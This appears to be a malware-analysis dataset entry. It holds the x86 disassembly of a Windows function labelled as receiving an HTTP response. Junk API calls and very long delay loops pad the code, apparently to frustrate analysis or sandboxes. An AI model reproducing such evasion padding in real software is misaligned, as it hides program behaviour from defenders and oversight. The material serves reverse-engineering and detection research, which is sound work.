Function at 0x4608e0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
mov dword [ebp - 0x920], 0
cmp dword [0x88f5f8], 0x225
jne 0x460909
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp dword [0x88f5f8], 0x177
jne 0x460a2a
push 0x88ef00
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xe12
jne 0x460a2a
push 0
push 0
push 0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp dword [0x88f5f8], 0xf76
jne 0x46096a
mov dword [ebp - 0x498], 0
push 0
push 0
lea eax, [ebp - 0x494]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ecx, dword [0x40a4c0]
mov dword [ebp - 0x490], ecx
push 0x3fc
push 0
lea edx, [ebp - 0x48c]
push edx
call fcn.004428e0
add esp, 0xc
lea eax, [ebp - 0x90]
mov dword [ebp - 4], eax
push 0
push 0
call fcn.0043b570
add esp, 8
push 1
push 3
lea ecx, [ebp - 0x90]
call fcn.00436f80
push 0
call fcn.0043be30
add esp, 4
push 0x40a4c4
call fcn.0043c770
fstp st(0)
add esp, 4
push 0x40a4c8
push 0x40a4cc
push 0x4653d8
call fcn.0043b5c0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
call fcn.0043afc0
add esp, 0x14
lea ecx, [ebp - 0x3c]
call fcn.00437040
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x948], ecx
mov edx, dword [ebp - 0x948]
mov dword [edx], 0x434b88
mov eax, dword [ebp - 0x948]
mov dword [eax], 0x434b80
mov ecx, dword [ebp - 0x948]
push ecx
call fcn.004393f0
add esp, 4
mov dword [ebp - 0x49c], 0
jmp 0x460a45
mov edx, dword [ebp - 0x49c]
add edx, 1
mov dword [ebp - 0x49c], edx
cmp dword [ebp - 0x49c], 0xe56f91
jge 0x460a90
cmp dword [ebp - 0x49c], 0x492
jne 0x460a69
mov eax, dword [0x4646d4]
mov dword [0x88f5f8], eax
jmp 0x460a90
cmp dword [0x88f5f8], 0xf
jne 0x460a8e
push 0
lea ecx, [ebp - 0x8a0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call sub.KERNEL32.dll_GetSystemTimes
jmp 0x460a36
mov dword [ebp - 0x8a4], 0
jmp 0x460aab
mov edx, dword [ebp - 0x8a4]
add edx, 1
mov dword [ebp - 0x8a4], edx
cmp dword [ebp - 0x8a4], 0xc03529
jge 0x460ae8
cmp dword [ebp - 0x8a4], 0x57f
jge 0x460acb
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [0x88f5f8], 0x6b
jne 0x460adc
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov dword [0x88704c], 0
jmp 0x460a9c
mov dword [ebp - 0x8d4], 0
jmp 0x460b03
mov eax, dword [ebp - 0x8d4]
add eax, 1
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 0x485ceb
jge 0x460b6b
cmp dword [ebp - 0x8d4], 0x3fa
jne 0x460b2d
mov ecx, dword [0x88f5f8]
add ecx, 0x12336
mov dword [0x88f5f8], ecx
cmp dword [0x88f5f8], 0x65
jne 0x460b69
lea edx, [ebp - 0x8f4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov dword [ebp - 0x904], 0
xor eax, eax
mov dword [ebp - 0x900], eax
lea ecx, [ebp - 0x904]
push ecx
lea edx, [ebp - 0x8fc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
jmp 0x460af4
call fcn.004601a0
mov dword [ebp - 0x908], 0
jmp 0x460b8b
mov eax, dword [ebp - 0x908]
add eax, 1
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0x199615
jge 0x460b99
jmp 0x460b7c
mov dword [ebp - 0x90c], 0
jmp 0x460bb4
mov ecx, dword [ebp - 0x90c]
add ecx, 1
mov dword [ebp - 0x90c], ecx
cmp dword [ebp - 0x90c], 0xe5fc3
jge 0x460bee
cmp dword [0x88f5f8], 0x9e2
jne 0x460bd4
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
cmp dword [ebp - 0x90c], 0x3b22
jne 0x460bec
mov edx, dword [0x464628]
mov dword [0x88f5fc], edx
jmp 0x460ba5
mov dword [ebp - 0x910], 0
jmp 0x460c09
mov eax, dword [ebp - 0x910]
add eax, 1
mov dword [ebp - 0x910], eax
mov ecx, dword [ebp - 0x910]
cmp ecx, dword [0x88f5f8]
jae 0x460c3b
mov edx, dword [ebp - 0x910]
push edx
call fcn.004602f0
cmp dword [0x88f5f8], 0x22
jne 0x460c39
lea eax, [ebp - 0x914]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
jmp 0x460bfa
mov dword [ebp - 0x918], 0
jmp 0x460c56
mov ecx, dword [ebp - 0x918]
add ecx, 1
mov dword [ebp - 0x918], ecx
cmp dword [ebp - 0x918], 0xe96350
jge 0x460c64
jmp 0x460c47
mov dword [ebp - 0x91c], 0
jmp 0x460c7f
mov edx, dword [ebp - 0x91c]
add edx, 1
mov dword [ebp - 0x91c], edx
cmp dword [ebp - 0x91c], 0x3dc4a3
jge 0x460c9b
cmp dword [ebp - 0x91c], 0x26
jne 0x460c99
call fcn.004601c0
jmp 0x460c70
call fcn.004606c0
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10